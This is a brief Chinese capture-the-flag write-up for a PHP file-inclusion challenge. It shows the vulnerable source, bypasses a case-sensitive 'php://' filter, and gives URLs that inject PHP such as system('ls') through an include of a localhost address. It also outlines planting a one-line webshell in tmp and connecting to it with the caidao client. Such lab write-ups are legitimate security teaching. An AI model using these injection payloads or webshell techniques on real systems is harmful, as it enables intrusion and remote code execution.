ctf web_include
web_php_include题解
先上源码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);//把page变量里的所有php://替换为空
}
include($page);
?>
这题有很多种解法
1.一种常规解法是采用文件包含的形式
1.我们发现strstr函数对大小写敏感,我们只要能够绕过strstr函数就能够执行我们的输出流
所以
把php://改为PHP://绕过while使得条件不成立,
执行
得到
执行
得到
2.我们也可以采用ssrf的方法让目标主机访问自己的内网
http://111.200.241.244:57527/?page=http://127.0.0.1/index.php?hello=<?system("ls");?>
http://111.200.241.244:57527/?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
3.我们同样也可以通过御剑扫描直接访问后台来获取flag
写入一句话木马并连接caidao
我们这里可以知道一般数据库写入文件都是写入在磁盘的根目录上,(相对路径与绝对路径的区别?)所以我们可以直接写入tmp文件,然后让page变量来访问这个文件,并被include()函数包含在index.php中然后我们就可以用caidao来连接
“You cannot improve your past, but you can improve your future. Once time is wasted, life is wasted.”